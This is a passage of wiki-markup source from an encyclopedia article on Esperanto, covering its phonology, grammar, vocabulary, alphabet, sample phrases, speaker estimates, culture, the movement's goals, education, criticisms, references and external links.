| [[Voiceless velar plosive|{{IPA|k}}]] || [[Voiced velar plosive|{{IPA|g}}]]
| colspan=&quot;2&quot; | &amp;nbsp;
|-
| | [[Nasal consonant|Nasal]]
| &amp;nbsp; || [[Voiced bilabial nasal|{{IPA|m}}]]
| colspan=&quot;2&quot; | &amp;nbsp;
| &amp;nbsp; || [[Voiced alveolar nasal|{{IPA|n}}]]
| colspan=&quot;2&quot; | &amp;nbsp;
| colspan=&quot;2&quot; | &amp;nbsp;
| colspan=&quot;2&quot; | &amp;nbsp;
| colspan=&quot;2&quot; | &amp;nbsp;
|-
| | [[Flap consonant|Tap]]
| colspan=&quot;2&quot; | &amp;nbsp;
| colspan=&quot;2&quot; | &amp;nbsp;
| &amp;nbsp; || [[Voiced alveolar tap|{{IPA|ɾ}}]]
| colspan=&quot;2&quot; | &amp;nbsp;
| colspan=&quot;2&quot; | &amp;nbsp;
| colspan=&quot;2&quot; | &amp;nbsp;
| colspan=&quot;2&quot; | &amp;nbsp;
|-
| | [[Fricative consonant|Fricative]]
| colspan=&quot;2&quot; | &amp;nbsp;
| [[Voiceless labiodental fricative|{{IPA|f}}]] || [[Voiced labiodental fricative|{{IPA|v}}]]
| [[Voiceless alveolar fricative|{{IPA|s}}]] || [[Voiced alveolar fricative|{{IPA|z}}]]
| [[Voiceless postalveolar fricative|{{IPA|ʃ}}]] || [[Voiced postalveolar fricative|{{IPA|ʒ}}]]
| colspan=&quot;2&quot; | &amp;nbsp;
| [[Voiceless velar fricative|{{IPA|x}}]] || &amp;nbsp;
| [[Voiceless glottal fricative|{{IPA|h}}]] || &amp;nbsp;
|-
| | [[Affricate consonant|Affricate]]
| colspan=&quot;2&quot; | &amp;nbsp;
| colspan=&quot;2&quot; | &amp;nbsp;
| [[Voiceless alveolar affricate|{{IPA|ʦ}}]] || &amp;nbsp;
| [[Voiceless postalveolar affricate|{{IPA|ʧ}}]] || [[Voiced postalveolar affricate|{{IPA|ʤ}}]]
| colspan=&quot;2&quot; | &amp;nbsp;
| colspan=&quot;2&quot; | &amp;nbsp;
| colspan=&quot;2&quot; | &amp;nbsp;
|-
| | [[Lateral consonant|Lateral approximant]]
| colspan=&quot;2&quot; | &amp;nbsp;
| colspan=&quot;2&quot; | &amp;nbsp;
| &amp;nbsp; || [[Voiced alveolar lateral approximant|{{IPA|l}}]]
| colspan=&quot;2&quot; | &amp;nbsp;
| colspan=&quot;2&quot; | &amp;nbsp;
| colspan=&quot;2&quot; | &amp;nbsp;
| colspan=&quot;2&quot; | &amp;nbsp;
|-
| | [[Approximant]]
| colspan=&quot;2&quot; | &amp;nbsp;
| colspan=&quot;2&quot; | &amp;nbsp;
| colspan=&quot;2&quot; | &amp;nbsp;
| colspan=&quot;2&quot; | &amp;nbsp;
| &amp;nbsp; || [[Voiced palatal approximant|{{IPA|j}}]]
| colspan=&quot;2&quot; | &amp;nbsp;
| colspan=&quot;2&quot; | &amp;nbsp;
|-
|}

The sound {{IPA|/r/}} is usually [[alveolar trill|rolled]], but may be [[alveolar flap|tapped]] ({{IPA|[ɾ]}} in the [[International Phonetic Alphabet|IPA]]). The {{IPA|/v/}} has a normative pronunciation like an [[English language|English]] ''v'', but is sometimes somewhere between a ''v'' and a ''w'' (IPA {{IPA|[ʋ]}}), depending on the language background of the speaker. A semivowel {{IPA|[u̯]}} normally occurs only in [[diphthong]]s after the vowels {{IPA|/a/}} and {{IPA|/e/}}. Common (if debated) [[assimilation (linguistics)|assimilation]] includes the pronunciation of /nk/ as {{IPA|[ŋk]}}, as in English ''sink'', and /kz/ as {{IPA|[gz]}}, like the ''x'' in English ''example''. 

A large number of possible consonant clusters can occur, up to three in initial position and four in medial position (for example, in ''instrui'', to teach). Final clusters are uncommon except in foreign names, poetic elision of final ''o'', and a very few basic words such as ''cent'' (hundred) and ''post'' (after).

==== Vowels ====
Esperanto has the five vowels of [[Spanish language|Spanish]] and [[Swahili language|Swahili]]. There are no long or nasalized vowels. 

{| class=&quot;wikitable&quot; style=&quot;margin: 0 auto; text-align:center;&quot;
!
! | [[Front vowel| Front]]
! | [[Back vowel| Back]]
|-
! style=&quot;text-align: right;&quot; | [[Close vowel| Close]]
| {{IPA|i}}
| {{IPA|u}}
|-
! style=&quot;text-align: right;&quot; | [[Mid vowel|Mid]]
| {{IPA|e}}
| {{IPA|o}}
|-
! style=&quot;text-align: right;&quot; | [[Open vowel| Open]]
| colspan=2 | {{IPA|a}}
|}

There are six falling diphthongs: {{IPA|/ui̯}}, {{IPA|oi̯}}, {{IPA|ei̯}}, {{IPA|ai̯}}, {{IPA|au̯}}, {{IPA|eu̯/}}.

With only five vowels, a good deal of variation is tolerated. For instance, {{IPA|/e/}} commonly ranges from {{IPA|[e]}} (French ''é'') to {{IPA|[ɛ]}} (French ''è''). The details often depend on the speaker's native language. A [[glottal stop]] may occur between adjacent vowels in some people's [[speech]], especially when the two vowels are the same, as in ''heroo'' (hero) and ''praavo'' (great-grandfather).

=== Grammar ===
{{seesubarticle|Esperanto grammar}}
Esperanto words are [[Derivation (linguistics)|derived]] by stringing together [[prefix]]es, [[Root (linguistics)|roots]], and [[suffix]]es. This is very regular, so that people can create new words as they speak and be understood. [[Compound (linguistics)|Compound]] words are formed with modifier-first, head-final order, i.e. the same way as in English ''birdsong'' vs. ''songbird''.

The different [[Part of speech|parts of speech]] are marked by their own suffixes: all [[noun]]s end in ''-o'', all [[adjective]]s in ''-a'', adverbs in ''-e'', and [[verb]]s end in one of six [[Grammatical tense|tense]] and [[Grammatical mood|mood]] suffixes, such as [[present tense]] ''-as''. 

[[Grammatical number|Plural]] nouns end in ''-oj'' (pronounced &quot;oy&quot;), whereas [[direct object]]s end in ''-on''. Plural direct objects end in ''-ojn'' (pronounced to rhyme with &quot;coin&quot;). Adjectives [[Grammatical number#Effect of number on verbs and other parts of speech|agree]] with their nouns; their endings are plural ''-aj'' (pronounced &quot;eye&quot;), direct-object ''-an'', and plural direct-object ''-ajn'' (pronounced to rhyme with &quot;fine&quot;). 

&lt;table border=0 align=center&gt;&lt;tr&gt;&lt;td&gt;
&lt;table border=1 cellpadding=3 cellspacing=0&gt;
&lt;tr align=center style=&quot;background: #cccccc&quot;&gt;&lt;th&gt;[[Noun]]&lt;/th&gt;&lt;th style=&quot;background: #efefef&quot;&gt;Subject&lt;/th&gt;&lt;th style=&quot;background: #efefef&quot;&gt;Object&lt;/th&gt;&lt;/tr&gt;
&lt;tr align=center&gt;&lt;th style=&quot;background: #efefef&quot;&gt;Singular&lt;/th&gt;&lt;td&gt;-'''o'''&lt;td&gt;-'''on'''&lt;/td&gt;&lt;/tr&gt;
&lt;tr align=center&gt;&lt;th style=&quot;background: #efefef&quot;&gt;Plural&lt;/th&gt;&lt;td&gt;-'''oj'''&lt;/td&gt;&lt;td&gt;-'''ojn'''&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;&lt;/td&gt;
&lt;td&gt;&lt;table border=1 cellpadding=3 cellspacing=0&gt;
&lt;tr align=center style=&quot;background: #cccccc&quot;&gt;&lt;th&gt;[[Adjective]]&lt;/th&gt;&lt;th style=&quot;background: #efefef&quot;&gt;Subject&lt;/th&gt;&lt;th style=&quot;background: #efefef&quot;&gt;Object&lt;/th&gt;&lt;/tr&gt;
&lt;tr align=center&gt;&lt;th style=&quot;background: #efefef&quot;&gt;Singular&lt;/th&gt;&lt;td&gt;-'''a'''&lt;td&gt;-'''an'''&lt;/td&gt;&lt;/tr&gt;
&lt;tr align=center&gt;&lt;th style=&quot;background: #efefef&quot;&gt;Plural&lt;/th&gt;&lt;td&gt;-'''aj'''&lt;/td&gt;&lt;td&gt;-'''ajn'''&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;

The six verb [[inflection]]s are three tenses and three moods. They are [[present tense]] ''-as'', [[future tense]] ''-os'', [[past tense]] ''-is'', [[infinitive|infinitive mood]] ''-i'', [[conditional mood]] ''-us'', and [[jussive mood]] ''-u''. Verbs are not marked for person or number. For instance: ''kanti'' - to sing; ''mi kantas'' - I sing; ''mi kantis'' - I sang; ''mi kantos'' - I will sing. 

&lt;table border=0 align=center&gt;&lt;tr&gt;&lt;td&gt;
&lt;table border=&quot;1&quot; cellpadding=&quot;3&quot; cellspacing=&quot;0&quot;&gt;
&lt;th&gt;Verbal Tense&lt;/th&gt;&lt;th&gt;Suffix&lt;/td&gt;&lt;/th&gt;
&lt;tr&gt;&lt;td bgcolor=&quot;#CCCCCC&quot;&gt;[[Present tense|Present]]&lt;/td&gt;&lt;td&gt;'''-as''' (kantas)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td bgcolor=&quot;#CCCCCC&quot;&gt;[[Past tense|Past]]&lt;/td&gt;&lt;td&gt;'''-is''' (kantis)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td bgcolor=&quot;#CCCCCC&quot;&gt;[[Future tense|Future]]&lt;/td&gt;&lt;td&gt;'''-os''' (kantos)&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;&lt;/td&gt;
&lt;td&gt;&lt;table border=&quot;1&quot; cellpadding=&quot;3&quot; cellspacing=&quot;0&quot;&gt;
&lt;th&gt;Verbal Mood&lt;/th&gt;&lt;th&gt;Suffix&lt;/td&gt;&lt;/th&gt;
&lt;tr&gt;&lt;td bgcolor=&quot;#CCCCCC&quot;&gt;[[Infinitive]]&lt;/td&gt;&lt;td&gt;'''-i''' (kanti)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td bgcolor=&quot;#CCCCCC&quot;&gt;[[Jussive mood|Jussive]]&lt;/td&gt;&lt;td&gt;'''-u''' (kantu)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td bgcolor=&quot;#CCCCCC&quot;&gt;[[Conditional mood|Conditional]]&lt;/td&gt;&lt;td&gt;'''-us''' (kantus)&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;

Word order is comparatively free: adjectives may precede or follow nouns, and subjects, verbs and objects (marked by the suffix ''-n'') can occur in any order.  However, the [[article (grammar)|article]] ''la'' (the) and  the [[demonstrative]]s almost always come before the noun, and a [[preposition]] ''must'' come before it. Similarly, the negative ''ne'' (not) and [[conjunction]]s such as ''kaj'' (both, and) and ''ke'' (that) must precede the [[phrase]] or [[clause]] they introduce. In [[copula]]r (A = B) clauses, word order is just as important as it is in English clauses like ''people are dogs'' vs. ''dogs are people''.

=== Vocabulary ===
{{seesubarticle|Esperanto vocabulary}}
:''See the lists of [[Wiktionary:Category:Esperanto language|Esperanto words]] and [[Wiktionary:Category:Esperanto 1894 Universala Vortaro|Esperanto words from Universala Vortaro]] at [[Wiktionary]], the free dictionary and Wikipedia's sibling project.''

The core vocabulary of Esperanto was defined by ''Lingvo internacia'', published by Zamenhof in 1887.  It comprised 900 roots, which could be expanded into the tens of thousands of words with prefixes, suffixes, and compounding. In 1894, Zamenhof published the first Esperanto [[dictionary]], ''Universala Vortaro'', with a larger set of roots. However, the rules of the language allowed speakers to borrow new roots as needed, recommending only that they look for the most international forms, and then derive related meanings from these. 

Since then, many words have been borrowed, primarily but not solely from the western European languages. Not all proposed borrowings catch on, but many do, especially [[technical terminology|technical]] and [[science|scientific]] terms. Terms for everyday use, on the other hand, are more likely to be derived from existing roots—for example ''komputilo'' (a computer) from ''komputi'' (to compute) plus the suffix ''-ilo'' (tool)—or to be covered by extending the meanings of existing words (for example ''muso'' (a mouse), now also means a computer input device, as in English). There are frequent debates among Esperanto speakers about whether a particular borrowing is justified or whether the need can be met by deriving from or extending the meaning of existing words.

In addition to the root words and the rules for combining them, a learner of Esperanto must learn some idiomatic compounds that are not entirely straightforward. For example, ''eldoni'', literally &quot;to give out&quot;, is used for &quot;to publish&quot; (a [[Calque|calque]] of words in several European languages with the same derivation), and ''vortaro'', literally &quot;a collection of words&quot;, means &quot;a glossary&quot; or &quot;a dictionary&quot;. Such forms are modeled after usage in the ethnic European languages, and speakers of other languages may find them illogical. Fossilized derivations inherited from Esperanto's source languages may be similarly obscure, such as the opaque connection the root word ''centralo'' &quot;power station&quot; has with ''centro'' &quot;center&quot;. Compounds with ''-um-'' are overtly arbitrary, and must be learned individually, as ''-um-'' has no defined meaning. It turns ''dekstren'' &quot;to the right&quot; into ''dekstrumen'' &quot;clockwise&quot;, and ''komuna'' &quot;common/shared&quot; into ''komunumo'' &quot;community&quot;, for example.

Nevertheless, there are not nearly as many truly idiomatic or [[slang]] words in Esperanto as in ethnic languages, as these tend to make international communication difficult, working against Esperanto's main goal.

=== Writing system ===
{{seesubarticle|Esperanto orthography}}

Esperanto is written with a modified version of the [[Latin alphabet]], including six [[Letter (alphabet)|letters]] with [[diacritic]]s: [[c-circumflex|ĉ]], [[g-circumflex|ĝ]], [[h-circumflex|ĥ]], [[j-circumflex|ĵ]], [[s-circumflex|ŝ]] and [[u-breve|ŭ]] (that is, ''c, g, h, j, s'' [[circumflex]], and ''u'' [[breve]]). The alphabet does not include the letters ''q, w, x, y'' except in unassimilated foreign names. 

The 28-letter alphabet is: 
&lt;big&gt;&lt;center&gt;&lt;b&gt;a b c ĉ d e f g ĝ h ĥ i j ĵ k l m n o p r s ŝ t u ŭ v z&lt;/b&gt;&lt;/center&gt;&lt;/big&gt;

All letters are pronounced approximately as their [[Minuscule|lower-case]] equivalents in the [[International Phonetic Alphabet|IPA]], with the exception of ''c'' and the accented letters:

{| class=&quot;wikitable&quot; style=&quot;margin: 0 auto; text-align:center;&quot;
! Letter 
! Pronunciation
|- align=&quot;center&quot;
! c  
| {{IPA|[ʦ]}}
|- align=&quot;center&quot;
! ĉ 
| {{IPA|[ʧ]}}
|- align=&quot;center&quot;
! ĝ 
| {{IPA|[ʤ]}}
|- align=&quot;center&quot;
! ĥ 
| {{IPA|[x]}}
|- align=&quot;center&quot;
! ĵ 
| {{IPA|[ʒ]}}
|- align=&quot;center&quot;
! ŝ 
| {{IPA|[ʃ]}}
|- align=&quot;center&quot;
| '''ŭ'''&lt;br&gt;(as ''aŭ, eŭ'')
| {{IPA|[u̯]}}
|}

Two [[ASCII]]-compatible writing conventions are in use. These substitute [[Digraph (orthography)|digraph]]s for the accented letters. The original &quot;h-convention&quot; (''ch, gh, hh, jh, sh, u'') is based on English 'ch' and 'sh', while a more recent &quot;x-convention&quot; (''cx, gx, hx, jx, sx, ux'') is useful for alphabetic word sorting on a [[computer]] (''cx'' comes correctly after ''cu'', ''sx'' after ''sv'', etc.) as well as for simple conversion back into the standard [[orthography]].

Esperanto has been a 'clear' language for [[Morse code]] communication since the [[1920s]], and [[code]]s exist for all accented Esperanto characters

=== Useful phrases ===
Here are some useful Esperanto phrases, with IPA transcriptions:

* Hello:   ''Saluton''   {{IPA |[sa.ˈlu.ton]}} 
* What is your name?: 
::''Kiel vi nomiĝas?''   {{IPA |[ˈki.el vi no.ˈmi.ʤas]}}
::''Kio estas via nomo?''   {{IPA |[ˈki.o ˈes.tas ˈvi.a ˈno.mo]}}
* My name is ... : 
::''Mi nomiĝas ...''   {{IPA |[mi no.ˈmi.ʤas ...]}}
::''Mia nomo estas ...''   {{IPA |[ˈmi.a ˈno.mo ˈes.tas ...]}}
* How much?:   ''Kiom?''   {{IPA |[ˈki.om]}}
* Here you are:   ''Jen''   {{IPA |[jen]}}
* Do you speak Esperanto?:   ''Ĉu vi parolas Esperanton?''   {{IPA |[ˈʧu vi pa.ˈro.las es.pe.ˈran.ton]}}  
* I don't understand you:   ''Mi ne komprenas vin''   {{IPA|[mi ˈne kom.ˈpre.nas vin]}}
* I like &lt;u&gt;this&lt;/u&gt; one:
:: ''Mi ŝatas tiun ĉi''   {{IPA |[mi ˈʃat.as ˈti.un ˈʧi]}}
:: ''Ĉi tiu plaĉas al mi''   {{IPA |[ʧi ˈti.u ˈpla.ʧas al ˈmi]}}
* Thank you:   ''Dankon''   {{IPA |[ˈdaŋ.kon]}}
* You're welcome:   ''Ne dankinde''   {{IPA |[ˈne daŋ.ˈkin.de]}}
* Please:   ''Bonvolu''   {{IPA |[bon.ˈvo.lu]}}
* Here's to your health:   ''Je via sano''   {{IPA |[je ˈvi.a ˈsa.no]}}
* Bless you!/Gesundheit!:   ''Sanon!''   {{IPA |[ˈsa.non]}}
* Okay:   ''Bone''   {{IPA |[ˈbo.ne]}}
* It is a nice day:   ''Estas bela tago''   {{IPA |[ˈes.tas ˈbe.la ˈta.go]}}
* I love you:   ''Mi amas vin''   {{IPA |[mi ˈam.as vin]}}
* Goodbye: 
::''Ĝis (la) revido''   {{IPA |[ˈʤis (la) re.ˈvid.o]}}
:: ''Ĝis (la)!''   {{IPA |[ˈʤis (la)]}}
* Peace:   ''Pacon''   {{IPA|[ˈpa.tson]}}


== The Esperanto speaker community ==
=== Geography and demography ===
Esperanto speakers are more numerous in Europe and East [[Asia]] than in the Americas, [[Africa]], and [[Oceania]], and more numerous in [[urban area|urban]] than in [[rural]] areas ([[#References|Sikosek 2003]]). Esperanto is particularly prevalent in the northern and eastern countries of Europe; in China, [[Korea]], Japan, and [[Iran]] within Asia; in [[Brazil]], [[Argentina]], and [[Mexico]] in the Americas; and in [[Togo]] and [[Madagascar]] in Africa. 

An estimate of the number of Esperanto speakers was made by [[Sidney S. Culbert]], a [[retirement|retired]] [[psychology]] [[professor]] of the [[University of Washington]] and a longtime Esperantist, who tracked down and tested Esperanto speakers in sample areas of dozens of countries over a period of twenty years. Culbert concluded that between one and two million people speak Esperanto at [[ILR or Foreign Service Level language ability measures|Foreign Service Level 3]], &quot;professionally proficient&quot; (able to communicate moderately complex ideas without hesitation, and to follow speeches, radio broadcasts, etc.) ([[#References|Wolff 1996]]). Culbert's estimate was not made for Esperanto alone, but formed part of his listing of estimates for all languages of over 1 million speakers, published annually in the [[World Almanac|World Almanac and Book of Facts]].  Culbert's most detailed account of his methodology is found in a [http://www.panix.com/~dwolff/docs/culbert-methods.html 1989 letter to David Wolff]. Since Culbert never published detailed intermediate results for particular countries and regions, it is difficult to independently gauge the accuracy of his results. 

In the Almanac, his estimates for numbers of language speakers were rounded to the nearest million, thus the number for Esperanto speakers is shown as 2 million. This latter figure appears in ''[[Ethnologue]]''. Assuming that this figure is accurate, that means that about 0.03% of the world's population speaks the language.  This falls short of Zamenhof's goal of a [[international auxiliary language|universal language]], but it represents a level of popularity unmatched by any other constructed language. Ethnologue also states that there are 200 to 2000 [[native Esperanto speakers]] (''denaskuloj''), who have learned the language from birth from their Esperanto-speaking parents (this happens when Esperanto is the family language in an international family or sometimes in a family of devoted Esperantists).

Marcus Sikosek has challenged this figure of 1.6 million as exaggerated.  Sikosek estimated that even if Esperanto speakers were evenly distributed, assuming one million Esperanto speakers worldwide would lead one to expect about 180 in the city of [[Cologne, Germany|Cologne]]. Sikosek finds only 30 [[fluency|fluent]] speakers in that city, and similarly smaller than expected figures in several other places thought to have a larger-than-average concentration of Esperanto speakers. He also notes that there are a total of about 20,000 members of the various Esperanto organizations (other estimates are higher). Though there are undoubtedly many Esperanto speakers who are not members of any Esperanto organization, he thinks it unlikely that there are fifty times more speakers than organization members ([[#References|Sikosek 2003]]).  Others think such a [[ratio]] between members of the organized Esperanto movement and speakers of the language is not unlikely. 

The [[Finnish people|Finnish]] [[linguistics|linguist]] Jouko Lindstedt, an expert on native-born Esperanto speakers, presented the following scheme ([[#References|1996]]) to show the overall proportions of language capabilities within the Esperanto community:

* ''1,000 have Esperanto as their native language
* ''10,000 speak it fluently
* ''100,000 can use it actively
* ''1,000,000 understand a large amount passively
* ''10,000,000 have studied it to some extent at some time.''

In the absence of Dr. Culbert's detailed sampling data, or any other census data, it is impossible to state the number of speakers with certainty. Few observers, probably, would challenge the following statement from the [[website]] of the [[World Esperanto Association]]:
:Numbers of [[textbook]]s sold and membership of local societies put the number of people with some knowledge of the language in the hundreds of thousands and possibly millions. [http://www.uea.org/info/angle/an_ghisdatigo.html]

=== Culture ===
:''For a more detailed treatment of these topics, see the subarticles: [[Esperanto culture]], [[Esperanto literature]], and [[Esperanto music]].''

Esperanto is often used to access an international culture, including a large corpus of original as well as translated [[Esperanto literature|literature]]. There are over a hundred regularly published [[Esperanto magazine|magazines in Esperanto]]. Many speakers use the language for free travel throughout the world using the [[Pasporta Servo]], or for international [[pen pal]]s. Penpals are even possible for [[Primary education|elementary school]] students, something that is far more difficult when using an ethnic language like English. To some extent there are also shared [[tradition]]s in the Esperanto community, like [[Zamenhof Day]]. 

It is frequently criticised that &quot;Esperanto has no culture&quot;. However, Esperanto is intentionally culturally neutral: It was intended to be a facilitator ''between'' cultures, not the carrier of any one culture. (See ''[[Esperanto as an international language]]''.)

Two [[film]]s were produced with [[dialogue]] entirely in Esperanto. The films were ''[[Angoroj]]'' in 1964 and ''[[Incubus (film)|Incubus]]'' starring [[William Shatner]] in 1965.

The [[anime]] [[RahXephon]] makes use of Esperanto for the [[acronym]] of TERRA, which stands for &quot;Tereno Empireo Rapidmova Reakcii Armeo.&quot; This can be translated as &quot;[[Earth]] Empire Rapid Response [[Army]],&quot; though pedants might note that a better Esperanto rendition of this name would be &quot;Rapid-Reaga Armeo de la Tera Imperio&quot;.

[[United States|American]] [[composer]] [[Lou Harrison]], who incorporated styles and [[Musical instrument|instruments]] from many world cultures in his [[music]], used Esperanto titles and/or texts in several of his works.

=== Goals of the Esperanto movement ===
Zamenhof's intention was to create an easy-to-learn language to foster international understanding. It was to serve as an international auxiliary language, that is, as a universal second language, not to replace ethnic languages.  This goal was widely shared among Esperanto speakers in the early decades of the movement.  Later, Esperanto speakers began to see the language and the culture that had grown up around it as ends in themselves, even if Esperanto is never adopted by the United Nations or other international organizations. 

Those Esperanto speakers who want to see Esperanto adopted officially or on a large scale worldwide are commonly called ''finvenkistoj'', from ''fina venko'', meaning &quot;final victory&quot;.  Those who focus on the intrinsic value of the language are commonly called ''raŭmistoj'', from [[Rauma, Finland|Rauma]], [[Finland]], where a declaration on the near-term unlikelihood of the &quot;fina venko&quot; and the value of Esperanto culture was made at the International Youth Congress in [[1980]]. These categories are, however, not mutually exclusive.

The [http://www.esperanto.se/dok/praguemanifesto.html Prague Manifesto] (1996) presents the views of the mainstream of the esperanto movement and of its main organisation, the World Esperanto Association ([[World Esperanto Association|UEA]]).

== Esperanto and education ==
Relatively few [[school]]s teach Esperanto officially outside of China, [[Hungary]], and [[Bulgaria]]; the majority of Esperanto speakers continue to learn the language through self-directed study or correspondence courses.  Several Esperanto paper correspondence courses were early on adapted to [[e-mail]] and taught by corps of volunteer instructors.  In more recent years, teaching websites like ''[[lernu!]]'' have become popular. Various educators have estimated that Esperanto can be learned in anywhere from one quarter to one twentieth the amount of time required for other languages.{{fact}}

[[Claude Piron]], a psychologist formerly at the [[University of Geneva]] and Chinese-English-Russian-Spanish translator for the United Nations, argued that it is easier to think clearly in Esperanto than in many ethnic languages (see [[Sapir-Whorf hypothesis]] for an explanation on this theory). &quot;Esperanto relies entirely on innate reflexes [and] differs from all other languages in that you can always trust your natural tendency to generalize patterns. [...] The same [[neuropsychology|neuropsychological]] law [— called by] [[Jean Piaget]] ''generalizing assimilation'' — applies to word formation as well as to grammar.&quot; ([[#References|published lecture notes]]) 

Several [[research]] [[experiment|studies]] demonstrate that, at least for native Indo-European-language speakers, studying Esperanto before another [[foreign language]] speeds and improves [[learning]] the other language. This is presumably because learning subsequent foreign languages is easier than learning one's first, while the use of a grammatically simple and culturally flexible auxiliary language like Esperanto lessens the first-language learning hurdle. In one study ([[#References|Williams 1965]]), a group of European [[high school]] students studied Esperanto for one [[year]], then French for three years, and ended up with a significantly better command of French than a control group, who studied French for all four years. Similar results were found when the second language was [[Japanese language|Japanese]], or when the course of study was reduced to two years, of which six [[month]]s was spent learning Esperanto. ''See [[Propaedeutic value of Esperanto]] for other relevant studies.''

== Criticism and Modifications of Esperanto ==
:''For a more detailed treatment of these topics, see the subarticles: [[Esperanto as an international language]] and [[Esperantido]] (Esperanto-inspired projects)''.

Common criticisms of the language are that its vocabulary and grammar are too Western European; that its vocabulary, accented letters, and grammar are not Western European enough (a critique addressed by [[Ido]] and [[Interlingua]]); that it is [[sexism|sexist]], artificial, or has failed to live up to expectations.

Though Esperanto itself has changed relatively little since the publication of the ''[[Fundamento de Esperanto]]'' (&quot;Foundation of Esperanto&quot;), a number of reform projects have been proposed over the years, starting with [[Reformed Esperanto|Zamenhof's proposals in 1894]] and  [[Ido]] in 1907. Several later constructed languages, such as [[Novial]] and [[Fasile]], were based on Esperanto.

==See also==
{{Esperanto}}
*Esperanto language
**[[Esperanto pronunciation|Pronunciation guide]]
**[[Esperanto orthography|Orthography]]
**[[Esperanto phonology|Phonology]]
**[[Esperanto vocabulary|Vocabulary and word-building]]
**[[Esperanto grammar|Grammar]]
**[[Kurso de Esperanto]]

*[[History of Esperanto]]
**[[Proto-Esperanto]]
**[[Esperantido|Offshoots of Esperanto]]
**[[World Congress of Esperanto|World Congresses]]
*[[Propaedeutic value of Esperanto|Educational value of Esperanto]]
*[[Esperanto as an international language]]

*[[Esperanto culture]]
**[[Esperanto film|Film]]
**[[Esperanto flag|Flag]]
**[[Esperanto library|Libraries]]
**[[Esperanto literature|Literature]]
***''[[Ĝangalo]]'' (the biggest news portal in Esperanto)
***''[[Monato]]'' (a monthly world news magazine)
**[[Esperanto music|Music]]
***''[[La Espero]]'' (Esperanto anthem)
**[[World Congress of Esperanto|The World Congress]]
**[[Plouézec International Meetings]]
*[[Esperanto in English-language media]]

== References ==
* [http://katalogo.uea.org/index.php?inf=4006 ''Ludovikologia dokumentaro I'']  Tokyo: Ludovikito, 1991.  Facsimile reprints of the ''Unua Libro'' in Russian, Polish, French, German, English and Swedish, with the earliest Esperanto dictionaries for those languages.
* [http://www.akademio-de-esperanto.org/fundamento/enhavo.php Fundamento de Esperanto].  HTML reprint of 1905 ''Fundamento'', from the Academy of Esperanto.
* Auld, William.  ''La Fenomeno Esperanto'' (&quot;The Esperanto Phenomenon&quot;).  Rotterdam: Universala Esperanto-Asocio, 1988.
* Blanke, Detlev: ''Internationale Plansprachen. Eine Einführung'' (&quot;International Planned Languages. An Introduction&quot;), Berlin: Akademie-Verlag  1985
* Butler, Montague C. ''Step by Step in Esperanto''. ELNA 1965/1991. ISBN 0939785013
* Culbert, Sidney S. [http://www.panix.com/~dwolff/docs/ Three letters about his methodology for estimating the number of Esperanto speakers], scanned and HTMLized by David Wolff.
* DeSoto, Clinton (1936). ''200 Meters and Down''.  West Hartford, Connecticut, USA: [[American Radio Relay League]], p. 92.
* Everson, Michael. [http://www.evertype.com/alphabets/esperanto.pdf The Alphabets of Europe: Esperanto {PDF}]. Evertype, 2001.
* Harlow, Don.  [http://www.webcom.com/~donh/eaccess/eaccess.book.html The Esperanto Book].  Self-published on the web (1995-96).
* Lindstedt, Jouko. &quot;Re: Kiom?&quot; (posting). [http://www.helsinki.fi/~jslindst/denask-l.html DENASK-L@helsinki.fi], [[22 April]] [[1996]].
* Piron, Claude: [http://www.claude-piron.ch/hidden-perverse-effects.html &quot;The hidden perverse effect of the current system of international communication&quot;], published lecture notes
* Sikosek, Ziko M. ''Esperanto Sen Mitoj'' (&quot;Esperanto without Myths&quot;).  Second edition. Antwerp: Flandra Esperanto-Ligo, 2003.
* [[John C. Wells|Wells, John]].  ''Lingvistikaj aspektoj de Esperanto'' (&quot;Linguistic aspects of Esperanto&quot;).  Second edition.  Rotterdam: Universala Esperanto-Asocio, 1989.
* Williams, N. (1965) 'A language teaching experiment', ''Canadian Modern Language Review'' 22.1: 26-28
* Wolff, David T. [http://groups-beta.google.com/group/soc.culture.esperanto/browse_thread/thread/9dbd2f14213a811c/b155141ccf91c6cc?q=4jbo0b$g31@salvelinus.brooktrout.com&amp;_done=%2Fgroups%3Fq%3D4jbo0b$g31@salvelinus.brooktrout.com%26&amp;_doneTitle=Back+to+Search&amp;&amp;d#b155141ccf91c6cc Posting to soc.culture.esperanto of [[27 March]] [[1996]]] quoting Dr. Sidney Culbert on his then unpublished research on the number of Esperanto speakers.

== External links ==
;Information on Esperanto 
{{InterWiki|code=eo}}
{{wikibooks}}
* [http://www.uea.org/info/angle/an_ghisdatigo.html An Update on Esperanto] by the [[World Esperanto Association]]
* [http://esperanto.net Esperanto.net: information in 57 languages]
* [http://members.aol.com/sylvanz/gvcont.htm Esperanto: A Language for the Global Village] by [[Sylvan Zaft]]
* [http://www.esperanto-chicago.org/key.htm A Key to the International Language] compiled by [[R. Kent Jones|Kent Jones]] and [[Christopher Zervic]]
* [http://www.homunculus.com/babel/aesperanto.html Blueprints for Babel: Esperanto] - Commentary and grammatical summary of Esperanto and Riismo, with glossary and links
* [http://www.proz.com/topic/23774 From a Nobel Nominee who writes in Esperanto]
* [http://claudepiron.free.fr/  Articles on Esperanto and International communication]
* [http://esperanto.oftheinter.net Lots of links for Esperanto]

;Dictionaries
* [http://purl.org/NET/voko/revo/ Reta Vortaro], an Esperanto dictionary
* [http://www.notam02.no/~hcholm/altlang/ht/Esperanto.html The Alternative Esperanto Dictionary]
* [http://www.websters-online-dictionary.org/definition/Esperanto-english/ Esperanto – English Dictionary]: from [http://www.websters-online-dictionary.org Webster's Online Dictionary] – the Rosetta Edition.
*[http://www.lingvo.org/traduku Traduku: Online Machine Translator]
*[[Wiktionary:Category:Esperanto language]]
* [http://jvortaro.berlios.de/ jVortaro], an Esperanto dictionary written in Java

;Esperanto courses
* [http://www.lernu.net/ Lernu.net] – see also [[Lernu!]]
* [http://pacujo.net/esperanto/course/ Free Esperanto Course] – E-mail correspondence course
* [http://www.cursodeesperanto.com.br Kurso de Esperanto] – Software and e-mail correspondence course (multilingual)
